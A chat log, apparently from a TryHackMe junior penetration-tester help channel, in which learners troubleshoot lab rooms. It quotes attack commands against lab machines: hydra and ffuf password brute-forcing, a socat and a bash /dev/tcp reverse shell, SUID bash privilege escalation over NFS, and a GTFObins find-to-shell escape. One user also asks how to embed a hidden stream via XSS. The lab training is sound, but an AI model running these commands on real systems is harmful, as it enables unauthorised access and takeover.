junior-pentester-path

[ornate comet]

Comment tag on html using <!— Comment note —>

On JS and css // comment for one line,
`/**

• comment
  */`
  for multi line

[distant cloud]

Yeah I am still not seeing the answer that Trytohackme wants. I see the source code, but I cannot find the answer. I'll keep looking further into it, thank you for the help

[next lance]

Gave +1 Rep to @ornate comet (current: #789 - 4)

[ornate comet]

Also follow all link on the page

[distant cloud]

Can you please send DM a screenshot of how you found the answer or send a video? I tried looking for it but I think I am not looking in the right place

[ornate comet]

Sorry i am on phone right now

[vagrant charm]

Did you right click on the page and go to "View Page Source"? This should take you to view-source:http://10.10.x.x/ at which point you read through the small amount of code on the page. The hint within the question says to ||go to the link mentioned in the comment. The text that is in the form of comments should be in green so look there.||

[frozen scroll]

hey just did the netsec challenge, and at first the hydra brute force was taking FOREVVVERRRR and i finally figured it out. When I add '-t 64' to increase the number of parallel channels, it slows down the attack immensely. I can't figure out why and can't find anything googling it. Anyone know why

hydra -l quinn -P /usr/share/wordlists/rockyou.txt 10.10.129.165 -s 10021 -t 64 ftp

is 100's of times slower than:

hydra -l quinn -P /usr/share/wordlists/rockyou.txt ftp://10.10.129.165:10021

[prisma raptor]

It was probably due to the target not having enough resources to handle and to respond to 64 simultaneous threads in a single request or process.

[frozen scroll]

that makes sense. follow up, lets say youre trying to optimize for speed, is there a way to quickly assertain the fastest number of channels besides run, watch for 1-2 minutes, cancel, then try another combo?

[prisma raptor]

I'm a beginner myself so that's what I do. 😅

Let's wait for other experienced ones to chime in.

[ebon flicker]

Im struggeling to get through the authentication bypass room, the attackbox just won't run the ffuf as its supposed to

[remote iris]

Can you verify and screenshot?

[ashen moss]

Discord: How do I verify my TryHackMe account?

Article Link

https://help.tryhackme.com/en/articles/6495858-discord-how-do-i-verify-my-tryhackme-account

Jan 17, 2024, 6:37 PM

[ebon flicker]

Screenshoot what ?

[remote iris]

The error

[ebon flicker]

Oh its not giving me an error but im not getting the right output even tho the command is correct

[remote iris]

Ok, is your terminal in full screen?

That could be making it harder to see

[sage current]

yeah the problems with some programs when the columns and rows are not the expected sizes... fun

[remote iris]

#general message

[ebon flicker]

Didn't help, but thank you

[next lance]

Gave +1 Rep to @remote iris (current: #2 - 1851)

[ebon flicker]

ffuf -w valid_usernames.txt:W1,/usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.196.64/customers/login -fc 200
/'\ /'\ /'\
/\ _/ /\ _/ __ __ /\ _/
\ \ ,\ \ ,/\ /\ \ \ \ ,\
\ \ _/ \ \ _/\ \ _\ \ \ \ _/
\ _\ \ _\ \ _/ \ _\
// // /_/ //

   v1.3.1

---

:: Method : POST
:: URL : http://10.10.196.64/customers/login
:: Wordlist : W1: valid_usernames.txt
:: Wordlist : W2: /usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt
:: Header : Content-Type: application/x-www-form-urlencoded
:: Data : username=W1&password=W2
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
:: Filter : Response status: 200

---

:: Progress: [5/100] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors::: Progress: [100/100] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Error:: Progress: [100/100] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::

Im just getting this, i should be getting at least one W2: Password and W1:Username

[soft gorge]

Anyone capable/willing to walk someone who's apparently skipped cookie manipulation and web tech most of their career.... through how to do both authentication bypass as well as local file inclusion within a manipulated cookie?

I have the first part down, not a problem. But I'm apparently an idiot and am missing the second part.

[prisma raptor]

What does your valid_ussrnames file look like?

[ebon flicker]

I fixed it but thank you ☺️

[next lance]

Gave +1 Rep to @prisma raptor (current: #22 - 338)

[placid stone]

Might the Burp Module, specifically the Other Modules part need an update? According to the text in Task 8 I need to select the "Form field" radio button, but this one is greyed out. Have read that others are experiencing the same, but no solution was given. Cant continue now 😦

[soft gorge]

Anyone have some time to help with some tips or hints on file inclusion via cookies?

[fluid lance]

i had trouble with that too, it's hard to explain but the way i fixed it is by capturing the initial request in the proxy and sending it to repeater, before sending the request in repeater and then using the 'follow redirection' button at the top which will then generate a GET request. that's the one you want to then send to sequencer (through right click menu).

[placid stone]

@fluid lance thanks! I will try that out 😉

[next lance]

Gave +1 Rep to @fluid lance (current: #428 - 10)

[crimson tide]

I don't understand the second last and last paragraphs. I don't get what the stars mean here

[remote iris]

The computer was looking for two pings it expected to recieve, but instead got none.

[modest arch]

hey in room ripper what to do after finding Password of root.xlsx tried to login to ssh but not working

[rustic thicket]

Is there something wrong with server hosting the Local File Inclusions Challenges. Most of the time even browsing the site causes my browser to just spin and spin. It's like the server hosting the site is out of memory or something

[prisma raptor]

Did you add the required entry in the /etc/hosts file?

[prisma raptor]

Can you provide the link to the room?

[rustic thicket]

I think you might be referring to a different room. In the one I'm talking about you only have to access the server at "http://IP/challenges/index.html" or something similar.

I finished it and there was no need to edit /etc/hosts. You just read flags in /etc/flag1, etc...

Some of them you have to change the request from GET to POST and whenever I did it would hang for a long time, then run really slow after. For challenge 3 it was really bad.

It doesn't matter now, I finished it, but it was definitely running slow and spotty.

[grave wren]

Hi, I'm currently in the "what the shell?" room and I'm harving problems logging into the windows machine through evil-winrm. As far as I understand the syntax goes something like this evil-winrm -i IP -u user -p password but I get an winrm authorization error. Does anyone what may be causing this?

[prisma raptor]

Can you share a screenshot of the actual error (When I tried to search the error, Google suggested that it might be authentication error instead)? You'll need to verify your account to do so.

[ashen moss]

Discord: How do I verify my TryHackMe account?

Article Link

https://help.tryhackme.com/en/articles/6495858-discord-how-do-i-verify-my-tryhackme-account

Jan 22, 2024, 11:35 PM

[fluid lance]

got hopelessly stuck on linux privesc crontab task before looking it up and realising i needed to make my file executable for it to work 🤦

[prisma raptor]

It can happen to anyone. Just make sure you add it in your notes. 👍

[jagged shore]

i want to start bufferoverflow so from where i can start

[fresh crystal]

Anyone on "Content Discovery" and cant get the support page to load? http://MACHINE_IP/robots.txt

Im getting a HTTP Error code 405

[prisma raptor]

Have you clicked on the green Start Machine somewhere in the first few tasks?

[fresh crystal]

Yep lol

I just gave up will try again later

[prisma raptor]

You'll have to wait for a couple of minutes for the attached VM to fully spin up and do check if you are connected to THM OpenVPN.

[mint vine]

I'm on linux priv esc task 11 and I keep getting exec format errors when i try to run the C file on the target machine

I did it through Kali first and then through the attack box

I created the directory /tmp/backup, mounted it on the NFS shared folder (?) /home/backup, created the file nfs.c, gcc'd it into just nfs, added the SUID bit with chmod +s, and then tried to run it with ./nfs from the target machine

Both nfs and nfs.c are showing up on the target folder properly, and with proper permissions too

so any advice on how to fix the exec format error?

[remote iris]

Is this the the one where you use it over ssh?

[mint vine]

Yeah, i ssh into the target machine and then make changes to the NFS from the attacking machine

[remote iris]

Did you compile the nfs.c in the attackbox or the ssh?

[mint vine]

The attackbox

by compile you mean gcc right?

[remote iris]

Yeah.

That's why it might not work.

When you compile something, you're giving it system variables, since this was differe from enviorement to enviorment, you'll need to compile it on the envriorment you wish to run it on.

[mint vine]

So I should compile nfs.c on the target machine?

[remote iris]

🙂 yes.

Then it should assign it all the stuff it needs to from the machine, and would become a better executible.

[mint vine]

Awesome, thank you

And just so i can use the proper language: I found /home/backup in /etc/exports. Would I say that /home/backup is an NFS shared folder or something?

[remote iris]

If it's set at that, yeah, you can learn more HERE about NFS enumeration, this is also a good website.

[mint vine]

Beautiful, thank you

[next lance]

Gave +1 Rep to @remote iris (current: #2 - 1887)

[mint vine]

I'm having trouble compiling - gcc isn't available. I can't find another compiler online to use, either. is there something slick I can hit nfs.c with inside of the target machine that I'm not seeing?

EDIT: figured it out - i did chmod ugo+rwx nfs from the Attack Box and that solved the issue

[fluid lance]

i did this task just earlier this week, i used --static when compiling to make it work but it was tricky to figure it out

[mint vine]

whats that do?

Also I ran the file from a different NFS folder - home/ubuntu/sharedfolddr instead of /home/backup

[fluid lance]

i think it makes the compiled file have no dependencies, also I wasn't able to access /home/backup folder to run the file so I just used /tmp

[prisma raptor]

I used this option as well initially.

[fluid lance]

Is there a better option?

[prisma raptor]

#room-bugs message

#room-bugs message

[fluid lance]

Interesting, thank you!

[next lance]

Gave +1 Rep to @prisma raptor (current: #19 - 370)

[pastel stream]

Hello

I having trouble solving Task 11 of Linux Privilege Escalation Room

in the Jr. Penetration Testing Pathway

This is the error Im getting when I use the exploit compiled in my Kali Machine

Does anyone know how to compile exploit with a specific GLIBC version

[remote iris]

Can you use gcc?

[pastel stream]

Not on the victim machine

https://tryhackme.com/room/linprivesc

The NFS PrivEsc Vector

[remote iris]

Which task?

[pastel stream]

Task 11

Im connecting it through my own Kali machine

[pastel stream]

For whoever is having NFS issue in task 11, use the flag "-static" when compiling. You're welcome

[ornate comet]

Why not copying bash from server and setuid on local mount just play with ./bash -p

[sage current]

well that sometimes works... better option is to live of the land and copy a binary on the target machine to the nfs share folder that you can then set the suid bit on to exploit using things like those recommended on gtfobins

[pastel stream]

Im sorry. Can you please elaborate this approach? I did not get it

[ornate comet]

On server copy /bin/bash to shared folder
From local as root chown root:root bash && chmod +s bash.
After that look bash permission in server try to run it with ./bash -p

[pastel stream]

Ok Thanks for the explanation. I will try it now

[unreal sentinel]

Hi all, im having trouble on this step. Authentication Bypass room, step 3. I created the .txt but the command cannot find it. What am I staring at that I cant see? lol

[remote iris]

Can you ls and see if you can see it?

[unreal sentinel]

@remote iris yes its in desktop

[remote iris]

Is the terminal in the same directory?

[unreal sentinel]

yes, im using the default attack box if that helps

[remote iris]

Can you verify and show screenshots?

[ashen moss]

Discord: How do I verify my TryHackMe account?

Article Link

https://help.tryhackme.com/en/articles/6495858-discord-how-do-i-verify-my-tryhackme-account

Jan 29, 2024, 6:04 PM

[remote iris]

Can you type ls and show me the output only of the term*inal?

[remote iris]

You're not longer on the Desktop directory

[remote iris]

Now run the command from that directory

[unreal sentinel]

ohhh lol I read that direction so wrong ! thank you

[remote iris]

No worries 😄

[fluid lance]

learning windows privesc has felt way more convoluted than linux privesc lol

[modest arch]

Anyone else get the impression that all these hacking academy's that have popped recently are just a money grab? Most of this stuff will never be found in the wild unless you're hacking a personal IP, in which case you're in handcuffs. And AI is coming on fast, soon negating whats being taught right now (at a low low price), with adaptive LLM WAFs and the like. And we're all just suckers?

Prove me wrong.
please

[dapper latch]

true

not only that have popped recently

[quasi quarry]

Hello, i'm doing What the shell room, at task 7 for the last question, should we not add also verify = 0 for connecting to the listener?

https://tryhackme.com/room/introtoshells

Thanks

[prisma raptor]

You should. What was the accepted answer?

[quasi quarry]

@prisma raptor socat OPENSSL:10.10.10.5:53, EXEC:"bash -li",pty,stderr,sigint,setsid,sane

[prisma raptor]

Mine had verify=0 in it. Probably due to answer tolerance.

[quasi quarry]

Oh yeah surely

in practice we should, if not we could not validate the certificate right?

[prisma raptor]

Yes and it will throw an error or refuse the connection.

[quasi quarry]

Okay i see thanks !

[next lance]

Gave +1 Rep to @prisma raptor (current: #18 - 387)

[quasi quarry]

Is that a bot which counts every help? lol

[prisma raptor]

Based on certain key words, yes.

[quasi quarry]

Oh yeah funny

[prisma raptor]

Can't exchange it for anything though.. so I simply don't mind it at all.. 😅

[quasi quarry]

Haha sadly

[final ice]

I'm getting a bit confused in Authentication Bypass, Username Enumeration. I put the command in, and I got a large brick of text as a return. I can see the names I am looking for when I look very closely. But after checking a walkthrough video I noticed they don't get the massive text brick I do from the same command

this is the command as entered

[fluid lance]

it looks like you resized your terminal after running the command

[dense pilot]

hi, i have a problem with a a rom, Tools of the Trade Windows Privilege Escalation i cannt complete the task, and is just click and complete 😦

[prisma raptor]

Can you provide a link to the room? Have you tried to refresh the page and click it again?

[echo geyser]

Hello everyone i have a question please, in the SSRF Room, we modify <value=assets/avatars/img1.png> to <value=/private> and theres a deny list on "/private" so the room's solution is <value=x/../private> but when i did my own way before which is <value=./../private> it doesnt work, Doesnt x/../private and ./../private both resolve to the same directory ? Chatgpt for one says that, and is there an "x" named directory i'm not aware of ? Thanks to anyone who answers 😄

[rugged ruin]

Reread the last 4 paragraphs of the practical.. it explains to you why the x is needed to bypass the filtering.

[echo geyser]

Did you atleast read my question before answering ? because it doesnt seem like you did.

[rugged ruin]

I absolutely read your question, and in the teach a man to fish vein of thought, I was pointing you to the section of the room which explains why the x is needed and why x/ ../private and ./ ../private are not the same thing

x just happens to be an arbitrary value of some thing that "is not /private", so you get past the filter and then traverse the way you want.

[modest arch]

I have a question kinda similar about THM specifically. Ik I just started, and theres many more modules to go, but it feels like many of these hacks aren't really practical to real life. Do they get more similar to the real world as modules get more advanced?

And not just more similar but actually usable if I want to work as a pentester?

[prisma raptor]

The vulnerabilities you leverage to gain foothold, pivot and escalate your privileges are based on real-life vulnerabilities and misconfigurations. These may not be setup or configured in the exact same way, but can be exploited in actual environments when not configured or adequately protected / patched.

[prisma raptor]

The technical know how you gain and the mindset, for sure.

[modest arch]

Got it thanks

[next lance]

Gave +1 Rep to @prisma raptor (current: #16 - 417)

[prisma raptor]

However, in actual environments and real-life engagements, there are other factors you need to consider such as limitations described in rules of engagements such as whether or not you are allowed to exploit vulnerable services or testing these should suffice, agreeing engagement scope, etc.

[rugged ruin]

and (hopefully) many of the lessons learned have been mitigated in security conscious newer systems.. some of the things and exploits you are learning are older for sure, but its' about learning the concepts for application later.

[modest arch]

yes the mindset and technical knowledge are the building blocks. you might run into some of these exploits in the wild, but unlikely. Most networks, apps, whathaveyou, are updated to the latest and greatest, so you will need to learn about cloud architecture like AWS, GCP and the like along with Active Directory and more advanced topics to find any real-world application. But it all depends on what your goal is. If its pentesting, than most of what is covered in THM will be practical. If its Bug Bounty, you'll need a lot more learnin. If its red Teaming, join the military.

hello, for any helps about this path i can post it here ? 🙂

yes

okey thanks !

i'm currently learning about RFI, i have to try out an RFI attack on a dedicaded labs, but how am i supposed to do ? i mean i have no server on my own even localserver... and if i'm not wrong i need one. How am i supposed to do ?

[prisma raptor]

You can look at the Juice Shop and DVWA rooms in THM.

[modest arch]

thank you !

[next lance]

Gave +1 Rep to @prisma raptor (current: #16 - 419)

[echo geyser]

Sorry for the misunderstanding then ! But let's say that in reality we are in the /Public directory, of course /Private is blacklisted to access but you can access other things such as "x", if i launch ./../Private, wouldnt that resolve to /Public/../Private, if anything the Server should return no "x" directory found, so my thought was : Lets use the current directory and traverse that way, but i seem to be missing some important parameter here 😦

[modest arch]

Ok got it thank you

[next lance]

Gave +1 Rep to @indigo swan (current: #1997 - 1)

[modest arch]

What do you recommend I do once I finish all the pathways?

[modest arch]

if someone is on the flag3 for the challenge from room " file inclusion" feel free to come on voice channel if you want to do it with me

[prisma raptor]

There are lots of boxes to do that are not part of the pathways.

[modest arch]

Yes as @prisma raptor said, do more boxes. Continue learning. Maybe start studying for a certification.

[fair grotto]

Alright Folks - This isnt really a question regarding an issue im currently having within the Jr Pen Test path. So ive been slowly burning through the pathways trying to fully understand each aspect before i move on. However since going onto the File Inclusion paths and the SSRF paths, im just struggling to fully understand and get grips with what is happening. Is this something to expect as its a really early/begineer path and i should just keep going or is there another resource i can look at just to get to grips alittle more. I dont know if ive understood the other parts of the path easier because im alittle more aware of them due to my job and these ones are just abit more benign to me.

[prisma raptor]

As you said, this is a junior-level pathway so the intent is to introduce the concepts and give you a basic level of understanding for each. Should you want to practice on these, there are rooms in THM you can do a practice on to hone your skills better. You can also look at the Web Security Academy to supplement those application-related ones.

[modest arch]

cool thanks again

[next lance]

Gave +1 Rep to @indigo swan (current: #1322 - 2)

michael78043: 0 Rep (##ω)

You're still on cooldown

[fair grotto]

Ye thanks for the clarity didn’t know if I was ment to be understanding things alittle more. I was able to complete the section with relative ease but the theory just didn’t seem to stick but I’ll keep powering through cheers for the response

[next lance]

Gave +1 Rep to @prisma raptor (current: #16 - 423)

[prisma raptor]

Yes, doing more practice will hammer home the point or concepts.

[modest arch]

Hey i have a question, i'm learning about SQL injections. i'm currently using the command below to guess the full name of the database letter by letter. But how am i supposed to know that i found the complet name of it ? ( in the example the full name is "sqli_three" but how can i know that it's sufficient and there is no following letters like "sqli_threes" ? Thanks in advance.

[echo geyser]

You can try databases() = 'sqli_threes' it will then be false 😄

Like makes u try wildcards, and '=' makes you check if its true

[modest arch]

yeah i finally found by myself today but thanks you ! 🙂

[next lance]

Gave +1 Rep to @echo geyser (current: #2000 - 1)

[heavy otter]

I have a question about XSS or the likes. If I’m trying to embed a hidden live stream video into a XSS injection. So when visitors view the forum/blog comments. They are watching the live stream without knowing. Is that at all possible with XSS? If not, what would the best method be to accomplish that?

[clear edge]

hi, there is an error (not updated questions) on the passive reconnaissance : shodan.io for nginx

[clear edge]

there is a mistake on the "Nmap Live Host Discovery" > subnetworks
How many devices can see the ARP Request? it can't be the answer that it asked for... A switch will never send an arp back from the port that received the frame

[twin olive]

Hello all,

I am in the Command Injection room, Task 5.

I have to test some payloads to answer the second question :
What are the contents of the flag located in /home/tryhackme/flag.txt?

I can't find the exact payload to use to find/open/get it.
Any help please ?

[remote iris]

What have you tried?

[twin olive]

I used the cheat sheet provided. Tested plenty of propositions, a little at random I must admit, guided by my beginner level knowledge of some commands.
The closest I got was to find | dir which gave me the current content of the folder

[remote iris]

Ok, maybe you can use other commands 😉

Or get s reverse shell...

[twin olive]

Could you please be more specific / give some clues ?

I understand cd might be of use but I can't get to change the current path

[remote iris]

You should be able to.

If you ls, cd * and cd ..

[twin olive]

Solution I found involved cat

[remote iris]

Yeah, I thought you knew linux basics on how to use the CLI?

[twin olive]

the basics, I'll gladly refresh that in the linux rooms

[median carbon]

https://github.com/suneets1ngh

[ornate kraken]

hi, would like ask for some other way to do this room linux privilege escalation (https://tryhackme.com/room/linprivesc) Task 12 capstone challenge Q2 for flag2.txt file located in rootflag, i did look up a walkthrough to do it for this part, and im not understanding why it was suggested to use the following command to read the flag2.txt after getting into missy user, which is, sudo find . -exec /bin/sh ; -quit, i tried to find if it was in GTFObin as well as on google about this command, but i still cant understand how this command work properbly, but from what im guessing its saying to find any executable way to run /bin/sh to open a shell, then quit it..? im sorry if im missing out any info that i should have known, but i would appreaciate if there are any help to let me know how to understand this command, and, how did you solve that question 2 for you if u have done it before, thank you

[median carbon]

https://blog.morphisec.com/unveiling-uac-0184-the-remcos-rat-steganography-saga

Learn about Steganography in under 30 seconds ↴

https://youtube.com/shorts/9qDlmYu-UY0

[inland crystal]

GTFObins lists "Unix binaries that can be used to bypass local security restrictions in misconfigured systems." For example, if the SUID permission is set for this precise binary, or if the user has sudo rights for it. So, "find" is not used to find anything per se, but to "break out from restricted environments by spawning an interactive system shell" with the "find . -exec /bin/sh ; -quit" command.

[tiny rivet]

how did you rdp to Windows machine? sorry got the solution / way through by using Remmina command in th eLinux box

[supple moat]

how to fix segmentation fault (core dumped) while executing .elf file? i got this in metasplot exploitation room while executing the payload on target

[prisma raptor]

What exploit are you running and the payload? Are you using the correct exploit that corresponds to your OS architecture (x86 or x64)?

[modest arch]

anyone ever managed to complete task 11 (nfs) of the privilage escalation module from a MAC?

I can complete it fine from a Kali vm, but if I try the same from a MAC, when I try to execute the binary that should give me the shell, instead, I get the error: Text file busy

so, just curious if anyone else managed to do that from a mac or has an explanation for that

[earnest pumice]

On the Metasploit: Exploit Room > Task 5. I found the exploit to use, but only because I browsed around and eventually saw someone on a forum that was on this task too. || I didn't realize that the exploit would be based off of what operating system was running, rather than the services running on the OS. My main question is, I like to search for exploits locally, is there a way to search by operating system exploits? Or just continue to use google for that ||

[prisma raptor]

In exploit-db, you can search for exploit by software, but if you are looking for an exploit code in github, I'm afraid you'll have to do it via Google.

You can also use privilege escalation scripts that could identify potential exploits to use such as linpeas / winpeas, linux smart enumeration, linenum, windows exploit suggester, and the like.

[earnest pumice]

Thank you!

[next lance]

Gave +1 Rep to @prisma raptor (current: #15 - 444)

[pseudo ermine]

I have this same issue... In my understanding the Answers to all three questions in the Traceroute part are wrong... They are looking for the targets and not the router before the target in the first two questions and it's not 26 routers between as the 26th is the target...
Or am I wrong with this?

[onyx dune]

I have a question to the room Vulnerabilities 101. Who is the author of exploit-db? It should be either Offensive Security or str0ke but none of the answers work. Any clues?

[onyx dune]

Got it.. its OffSec. Damn thats harder than it had to be. These questions are annoying seriously

[marsh willow]

Hi-im having trouble with #6 on subdomain enumeration. Im using the kali machine and when i issue the command, it shows the following error message:

[flint idol]

is this using the attackbox or a VM on your machine?

[marsh willow]

im using the kali box

[flint idol]

what kali box?

[marsh willow]

it gave me the option of attachthebox or kali so i chose kali because i was getting the same error messages from attackthebox. The web based kali box

[flint idol]

change SecLists to seclists (all lowercase)

ie /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt

[marsh willow]

im at my wits end...maybe ill try this another day

[flint idol]

that's working. it just takes some time 😛

also, if you make that terminal slightly wider, it will just replace the bottom line on failure instead of writing to a newline.

[onyx dune]

Question: In the WIndows PrivEsc Room: Abusing Dangerious Priviledges there is the SeBackup / SeRestore example. But then, when issuing whoami /priv the output shows:

SeBackupPrivilege             Back up files and directories  Disabled
SeRestorePrivilege            Restore files and directories  Disabled

Can someone explain why they are clearly disabled...?

[prisma raptor]

Is that the room by Polomints or 1337rce?

[jaunty notch]

Hello, a question about white-box testing, it states in task 4 in pentesting fundamentals that white box testing is more time consuming to do, wouldnt this type of testing be quicker since you know most of the stuff about the source code? Or am I overthinking this?

[prisma raptor]

From my understanding, you are expected to do more tests in a white box test. Aside from the need to go through whatever documentation that has been provided, you may be required to do tests in the context of different users to determine if there are access control weaknesses or controls that can be bypassed.

[supple moat]

i tried privilege escalation using path but didn't work

someone please explain

[prisma raptor]

Can you share the link to this box?

[supple moat]

i can't its a private network

but you can try the same in tryhackme linux privilege escalation room

in that also its not working if you use tmp folder

[prisma raptor]

If it is PATH variable manipulation, there should be a process (e.g., cron job) or binary that is being run by a privileged user such as root or via sudo or SUID bits. And you manipulate the system into executing your malicious binary instead of the legitimate one by adding its path in the PATH environment variable. In your screenshot, you even added a SUID bit which isn't clear to me what the purpose is.

[supple moat]

then how can we use this method for privilege escalation if we already need root?

[prisma raptor]

I updated it to include the response to your question

[pseudo coral]

Got 3 questions correct but stuck with thrid question. what is directory listing flag question From walking an application task.

https://10-10-45-128.p.thmlabs.com/thm-framework-login.index or tried .html

https://10-10-45-128.p.thmlabs.com/ main URL
flag.txt file

And THM{CHANGE_DEFAULT_CREDENTIALS}
Didn't work. Anything else I need to do?
With the bruteforce, it is easier to find the directory listing like using Nmap but here I do not know how to get it

Need help please.

[remote iris]

You use gobuster or similar for forced directory browsing

[pseudo coral]

Hey all,

I need little help with task6 on
https://tryhackme.com/room/walkinganapplication

I do not see contact request form after I click Network tab in the Inspect element option.

[flint idol]

have you filled in the form and clicked "send message"?

[pseudo coral]

No actually I do not see the form at all in the request page

@flint idol

Wish I could send image of how it is looking my side but I do not see an option to send images here

[flint idol]

you need to verify your tryhackme account in order to post images here

[ashen moss]

Discord: How do I verify my TryHackMe account?

Article Link

https://help.tryhackme.com/en/articles/6495858-discord-how-do-i-verify-my-tryhackme-account

Mar 9, 2024, 5:11 PM

[pseudo coral]

This is how it is showing my side with no contact form in the requests page.

[flint idol]

try filling adding some text to boxes on the "contact us" page, then click the green button

[pseudo coral]

Okay, let me see

idk why but this site https://10-10-1-210.p.thmlabs.com/ is getting 504 timed out error. It works for certain time and now it's not working. I tried reconnecting to VPN but didnt work and also in the attacking machine, if Im trying the site. I'm good to enter the url direct right instead of VPN's and all, If so it is doing the same error.

[flint idol]

is the target machine still running?

[pseudo coral]

Yes it is running still

[flint idol]

what IP does it have? if you restarted the machine, it will have a different IP, and the above link will no longer work (resulting in a 504 error).

[pseudo coral]

Yes ip address changes but after the restart as well it didnt work this time

[flint idol]

check the first section again. if the ip address changes, so will the url you need to use.

[pseudo coral]

You mean VPN IP address right?

If it is, then the IP address is same even after disconnect and reconnect of VPN

[flint idol]

i mean this. if you restarted the target machine, this will have changed.

[jaunty notch]

Using the build in attackbox this works for me right now at the moment.

[pseudo coral]

Start the virtual machine on this task, wait 2 minutes, and visit the following URL: https://10-10-193-175.p.thmlabs.com (this URL will update 2 minutes from when you start the machine)

Im using this. and not working

[flint idol]

that url is working for me just fine

(its different from the one before)

https://10-10-1-210.p.thmlabs.com/ -> 504 error
https://10-10-193-175.p.thmlabs.com/ -> ✅

[pseudo coral]

Yeah, even worked for me till morning. Whenever I started working on task 6 contact request form, It went out

[pseudo coral]

Yeah, you're true. THM should update the URL or do the necessary changes.

[pseudo coral]

What build you're talking about. Could you please lemme know. Maybe next time, if I encounter the same, I may give a try

[jaunty notch]

Built in* in the top of the page you can start a attackbox

[pseudo coral]

Okay, URL is the issue. Thanks @jaunty notch

[next lance]

Gave +1 Rep to @jaunty notch (current: #2022 - 1)

[pseudo coral]

Hey all
I'm in this task Manual Discovery - Sitemap.xml

As per the question
What is the path of the secret area that can be found in the sitemap.xml file?

I accessed the link in attack machine http://10.10.45.191/sitemap.xml using firefox, then I found the secret in local path where it takes me to Acme IT Support website http://10.10.45.xxx/s3cr3t-area when I access this secret path link, I got "You found the sitemap endpoint".

I entered the secret path http://10.10.45.xxx/s3cr3t-area but still its not working
Anything else I need to work on?

[sage current]

empty the text field and look at the answer format

it most likely only wants the /s3cr3t-area as answer

@pseudo coral ⬆️

[pseudo coral]

@sage current I got the answer. Thanks tho!

[next lance]

Gave +1 Rep to @sage current (current: #4 - 1664)

[sage current]

no problem

[pseudo coral]

Hey all
I'm in this task Manual Discovery - Sitemap.xml

As per the question
What is the path of the secret area that can be found in the sitemap.xml file?

I accessed the link in attack machine http://10.10.45.191/sitemap.xml using firefox, then I found the secret in local path where it takes me to Acme IT Support website http://10.10.45.xxx/s3cr3t-area when I access this secret path link, I got "You found the sitemap endpoint".

I entered the secret path http://10.10.45.xxx/s3cr3t-area but still its not working
Anything else I need to work on?

[steep lynx]

On File Inclusion Room Challenge #2, why is my Burp Intercept Tab does not pickup anything when I refresh the page? How to make it work? Is there something needs to do in the configuration of the Burp?

[ornate comet]

Are you using the chromium or Firefox?

[steep lynx]

Its okay now i just forgot to turn on foxyproxy

[steep lynx]

where does the path of data.html can be found? tried checking root and desktop directory but it doesn't exist there.

[steep lynx]

nvm.. managed to make it work

[thorny current]

having issues with starting authentication bypass.

http://machine_ip/customers/signup shows up as an error. I 'm connected to the attack box through openvpn, have ensured I was connected by testing 10.10.10.10, but still nothing

I replace "machine_ip" with my VPN IP but nothing

[remote iris]

It's not the VPN IP you use.

[thorny current]

I can't seem to fidn the IP thats needed

[flint idol]

you need to start the machine associated with the task

[thorny current]

sorry, I've done the machine's IP as well and it shows the same error

http://10.10.244.XXX/customers/signup

[remote iris]

That's quite right.

[thorny current]

"Error response
Error code: 405

Message: Method Not Allowed.

Error code explanation: 405 - Specified method is invalid for this resource."

[remote iris]

That's the attackbox IP.

[ashen moss]

How to: Starting your first TryHackMe machine

Article Link

https://help.tryhackme.com/en/articles/7977454-how-to-starting-your-first-tryhackme-machine

Mar 11, 2024, 3:16 PM

[remote iris]

Read that doc please.

[thorny current]

I'm an idiot and new that. I need more coffee. Thanks and sorry for being so dumb this morning lol

[remote iris]

no worried, we'll let you off since you're new 😉

[thorny current]

😄

[supple moat]

commands not working in meterpreter

it says timedout after some seconds

[prisma raptor]

Which room are you working on?

[supple moat]

blue

but then i started another meterpreter session and it was working

[full wing]

I’m having an issue with the crontab task in linux priv esc; I’ve modified the backup.sh script to create a connection to my machine with

#!/bin/bash

Bash -i >& /dev/tcp/[my machine IP]/7777 0>&1

Listening on my machine but no connection is coming in; I’ve tried both the eth and tun0 address

[remote iris]

Did you chmod the cron? or atleast have it in the path?

[full wing]

It’s in the path and i did chmod to executable, still not picking it up

And the cron is not specified to run in any interval, which automatically runs every now and then

[prisma raptor]

Did you have a capital 'B' in your payload?

[full wing]

I’ve gotten through, my ISP misbehaved so the connection to THM server had been severed; that’s why the listener wasn’t picking up

Thanks

[next lance]

Gave +1 Rep to @prisma raptor (current: #15 - 463)

[full wing]

I'm facing another problem in the NFS privilege escalation task

Getting this GLIBC error when trying to run the executable on target system ./shell: /lib/x86_64-linux-gnu/libc.so.6: version GLIBC_2.34 not found (required by ./shell)

I've researched the error and the solution i'm seeing requires updating glibc-source which is not possible on the target system.

Any pointers that can help please?

[prisma raptor]

#room-help message

[full wing]

I'll check it out, thanks

[next lance]

Gave +1 Rep to @prisma raptor (current: #15 - 467)

[radiant pier]

Hello everyone I’m currently unable to pass task 2: OSINT - SSL/TLC Certificate because the https://crt.sh server is currently down and I’m required to get a domain logged on crt.sh at 2020-12-26

[stoic python]

Anyone able to give some assistance to the username enumeration with ffuf section in the JR pentester

its under Auth bypass

[ocean bay]

Hi! were you able to figure out how to pipe the whole thing and create valid_usernames.txt and add the usernames that you found using ffu? i'm also stuck

[stoic python]

Hey, I created a text file on the desktop stuck the names in there and named it accordingly, the next command didnt work and had to move the terminal file and the txt file into a folder as it wouldnt allow me to run it with them both on the desktop

Never piped before tried to google it but just did a work around instead

@ocean bay

[ocean bay]

Awesome thank you, I think more or less did the same thing although I'm not sure how you were able to extract the names from the terminal . I had chatgpt help me formulate this line so I could save the result in the file and then read through it with cat command : ffuf -w /usr/share/wordlists/SecLists/Usernames/Names/names.txt -X POST -d "username=FUZZ&email=x&password=x&cpassword=x" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.215.149/customers/signup -mr "username already exists" | tee -a valid_usernames.txt .

[stoic python]

i just typed them into the text doc manual extraction 🙂

[grim junco]

is " OSI Model " really matter in pentesting ?

[ocean bay]

